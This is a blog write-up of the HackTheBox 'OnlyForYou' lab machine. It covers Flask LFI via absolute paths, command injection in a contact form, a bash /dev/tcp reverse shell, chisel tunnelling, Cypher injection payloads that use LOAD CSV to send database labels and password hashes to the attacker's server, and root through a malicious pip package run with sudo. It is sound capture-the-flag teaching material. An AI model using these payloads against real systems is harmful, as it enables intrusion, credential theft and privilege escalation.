Difficulty: Medium

OnlyForYou is a chained exploitation challenge involving Python and Neo4J.
Starting with a web app misconfiguration, I uncover code execution through weak input validation.
From there, I gain a foothold, pivot via a database injection, and finish with privilege escalation using an insecure pip-based sudo setup.


Nmap

The nmap scan revealed two open ports:

obraz

Port 80 - Website

I’ll start by adding only4you.htb to /etc/hosts.

obraz

From quick enumeration I found only a contact form.
It may be valuable later now we’re going to move on.

I’ve also tried directory busting but without a success.
If not directory busting maybe subdomain busting will find something useful.

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://only4you.htb -H "Host: FUZZ.only4you.htb"  --hw 12

First I run it without the last flag, everything returned 12 W, meaning we had to add –hw 12.

obraz

We’ve found one subdomain: beta.only4you.htb
Add it to /etc/hosts, and check this website.

obraz

It offers source.zip to download.
Let’s get it and unzip:

obraz

Source Code - Analysis

Let’s open app.py
First thing that catches my eye is that we’re dealing with Flask application.

obraz

I read the code, the thing that seems promising is /download, as it may load a file from the disk.
I’ll copy the whole code here for your conveinence:

from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']

@app.route('/', methods=['GET'])
def main():
    return render_template('index.html')

@app.route('/resize', methods=['POST', 'GET'])
def resize():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only png and jpg images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
            status = resizeimg(img)
            if status == False:
                flash('Image is too small! Minimum size needs to be 700x700', 'danger')
                return redirect(request.url)
            else:
                flash('Image is succesfully uploaded!', 'success')
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url)
        return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
    else:
        return render_template('resize.html', clicked="False")

@app.route('/convert', methods=['POST', 'GET'])
def convert():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only jpg and png images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
            if ext == '.png':
                image = convertpj(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
            else:
                image = convertjp(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url) 
        return render_template('convert.html')
    else:
        [f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
        return render_template('convert.html')

@app.route('/source')
def send_report():
    return send_from_directory('static', 'source.zip', as_attachment=True)

@app.route('/list', methods=['GET'])
def list():
    return render_template('list.html')

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_error(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

I will also copy tool.py:

from flask import send_file, current_app
import os
from PIL import Image
from pathlib import Path

def convertjp(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.png'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def convertpj(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.jpg'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def resizeimg(image):
    imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)
    sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]
    img = Image.open(imgpath)
    sizeimg = img.size
    imgsize = []
    imgsize.append(sizeimg)
    for x,y in sizes:
        for a,b in imgsize:
            if a < x or b < y:
                [f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]
                [f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]
                return False
            else:
                img.thumbnail((x, y))
                if os.path.splitext(image)[1] == '.png':
                    pngfile = str(x) + 'x' + str(y) + '.png'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)
                else:
                    jpgfile = str(x) + 'x' + str(y) + '.jpg'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)
    return True

Exploitation based on source code

Let’s open burpsuite, turn intercept on, run foxyproxy and catch a request to /download.

obraz

We will send it to repeater in burp with ctrl+r, and change request method.

obraz

There is a part in code that reveals the parameter that we will add called “image”:

obraz

Also if our filename contains .. or starts with ../ it will detect hacking and redirect us to /list.
Meaning typical Local File Inclusion won’t work here.
But if we look at the code once again we notice os.path.join function is used.
If we use absolute path with this function it will ignore previous arguments, here resulting in LFI:

obraz

From the output of /etc/passwd we found user ‘john’ and user ‘dev’.
We can try something basic like looking for ssh keys:

image=/home/john/.ssh/id_rsa
and
image=/home/dev/.ssh/id_rsa

unfortunetly we don’t succeed.

Enumerating config files using LFI

We know that target system runs nginx from previous nmap.
We’ll start with:

image=/etc/nginx.conf

But we don’t have anything intresting there.
Second file I tried was:

image=/etc/nginx/sites-enabled/default.conf

It also didn’t work but sometimes it doesn’t end with .conf:

image=/etc/nginx/sites-enabled/default

Finally it worked, here’s the output:

obraz

It exposed web root directory name –> /var/www/only4you.htb

We can assume that main site is also written in flask meaning it is likely called app.py:

obraz

Source Code - Analysis 2

I’ll copy only a snippet of the code here:

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')

It imports sendmessage from form module.
And also it passes user data to sendmessage function as seen below:

status = sendmessage(email, subject, message, ip)

It means that there is likely a form.py file in the same directory.
We can try to read it with LFI:

import re
import smtplib
from email.message import EmailMessage
from subprocess import run, PIPE

def sendmessage(email, subject, message, ip):
    status = issecure(email, ip)
    
    if status == 2:
        msg = EmailMessage()
        msg['From'] = email
        msg['To'] = 'info@only4you.htb'
        msg['Subject'] = subject
        msg.set_content(message)
        
        smtp = smtplib.SMTP(host='localhost', port=25)
        smtp.send_message(msg)
        smtp.quit()
        return status

    elif status == 1:
        return status
    else:
        return status

def issecure(email, ip):
    if not re.match(r"([A-Za-z0-9]+[.\-_])*[A-Za-z0-9]+@[A-Za-z0-9\-]+(\.[A-Za-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')

        if "v=spf1" not in output:
            return 1
        else:
            <...SNIP...>

This file has two functions: sendmessage(), and issecure()
issecure checks if email specified is a valid email using regex pattern.
it then uses subprocess.run to check the domain.
What’s intresting is that it runs os command dig:

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Exploiting command injection

It runs os command, without proper sanitization meaning we can inject commands there most likely.
Let’s catch a request with burp sending contact form, and send it to repeater with ctrl+r.

obraz

Now we can run tcpdump to watch for incoming pings in the background:

obraz

Now we can inject commands into email parameter:

obraz

Before sending it you need to select your whole command and press ctrl+u to URL encode it.
Now we should get pings from the target machine which means we have Remote Code Execution.

obraz

All we need to do now is to find proper payload that will give us connection back.
Payload I’ll use is very simple but it works.

bash -c 'bash -i >& /dev/tcp/10.10.14.10/9005 0>&1'

obraz

In the screenshot it’s already encoded.

We have successfully gained a shell access:

obraz

Priv esc to john

I tried to access two of the home folders but as www-data we can’t do that.
There are some files in /opt that might be intresting but we can’t access them either.
But without deep enumeration I end up finding intresting port open:

netstat -nvlp

obraz

Port 8001 seems intresting. We can ofc try to curl it first:

curl http://127.0.0.1:8001

obraz

Unfortunately it only shows a redirect page, we need to forward this port to see it.
It can be achieved with a tool called “chisel”.
We will use reverse server on kali linux to listen for connections.
And connect from the target machine using SOCKS5 proxy to forward all ports at once.

Chisel binary can be downloaded here:

https://github.com/jpillora/chisel/releases

Now on kali we need to run reverse server on port 2222 or any other port:

chisel server -p 2222 -reverse

obraz

Move chisel binary to the target machine with python server and wget:
And give it execute permission with chmod +x.

obraz

Now we can run a connection to our kali IP:

./chisel client 10.10.14.10:2222 R:1080:socks

obraz

Last thing we need to configure is FoxyProxy for proxychains.
Proxychains is a tool that is by default on kali so you shouldn’t worry by that.

I’ll add a new proxy in FoxyProxy settings and configure it like that:

obraz

Now use it as current proxy:

obraz

Now we should be able to access port 8001 in our browser on kali by going to:

http://localhost:8001

It gives us login page as show below:

obraz

When we see a login page (especially when it runs on localhost only) we should always try some default credentials.
In this case admin:admin worked.

obraz

There is a hint saying:
“Migrated to a new database(neo4j)”

It can be validated by looking at previously shown ports, port 7474 is used for neo4j database.
First thing that came to my mind is that it could be a hint for neo4j Cypher injection.

Neo4j - Cypher Injection

Let’s start with a brief introduction.
Cypher is the query language used by Neo4j, a popular graph database.
It’s similar in purpose to SQL but is specifically designed for querying and manipulating graph data structures rather than traditional relational tables.

You’ve probably heard of SQL injection, a common attack where malicious users inject SQL code into queries to manipulate or access unauthorized data. Similarly, Cypher injection occurs when an attacker injects malicious Cypher code into a query, exploiting vulnerabilities in how the query is constructed or parameterized.

We can verify if it’s vulnerable by simply using query that will return everything.
obraz

It returned all records meaning we have a proof of concept.

Let’s now start with dumping the database, first we will list labels using this payload:

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.9/?'+label AS b RETURN b//

Before running it we need to start python server:

python3 -m http.server 80

LOAD CSV will send output to our server as shown below:

obraz

We have two labels: employees and user.
The intresting one is probably user.

From my understanding “user” here is kind of similar to a table in SQL.
I guessed that it will contain username and password and used this query:

' OR 1=1 WITH 1 AS a MATCH (u:user) WITH u.username AS un, u.password AS pw LOAD CSV FROM "http://10.10.14.9/?" + un + "_" + pw AS l RETURN l//

Now if we come back to the python server we get:
obraz

admin’s password we already know but john seems promising.
We can identify which hashing algorithm it is in any online hash identifier:
obraz

We can now put this hash in a file and run hashcat with mode 1400 for sha256 hash:

obraz

It cracked:

obraz

Lastly with credentials we can connect via ssh and retrieve a flag:

obraz

obraz

Priv esc to root

One of the first things I check when enumerating linux is sudo -l command which shows us which commands we can run as other user:

obraz

It turned out that we can run:

/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

as root without a password.

Workflow here is going to be creating malicious package and download it but it has to be hosted on localhost port 3000.
Luckily for us port 3000 is running already on the target machine.

Tunnel that we previously set using chisel will help us here.
Let’s open this port 3000 on kali (remember to use proxychains in foxyproxy)

obraz

It runs gogs - a lightweight, self-hosted Git service (like GitHub but you run it yourself).
gogs will be perfect to host a malicious package.

We can login with john credentials:

john:ThisIs4You

There is only one repository:
obraz

Building and hosting malicious python package

We will use this github repository as a template to build malicious python package:

git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git

obraz

Make sure you install those two on kali:

pip install setuptools
pip install build

Now open setup.py and change what you need, mine looked like this:

obraz

After changing we save this file and build it:
obraz

Now we have it here:

obraz

Now upload it in the gogs website to “Test” repository:

obraz

After it uploads it should look like this:

obraz

Now click on this file, and right-click on “raw” then “copy link”:

obraz

Go to settings and set this repository to public:
Just uncheck one box and click “update settings”

obraz

Getting root access

After everything is set up we can just run our command with sudo and paste the link that we’ve previously copied:

obraz

It should run when downloaded and in case of using my script it copied /bin/bash to /tmp/bash and have it SUID bit.

obraz

now we can run it with -p flag to become root and retrieve root flag.

obraz

Thank you for reading! I hope it helped.


<
Previous Post
HTB Falafel (Hard) - Writeup
>
Next Post
HTB Seal (Medium) - Writeup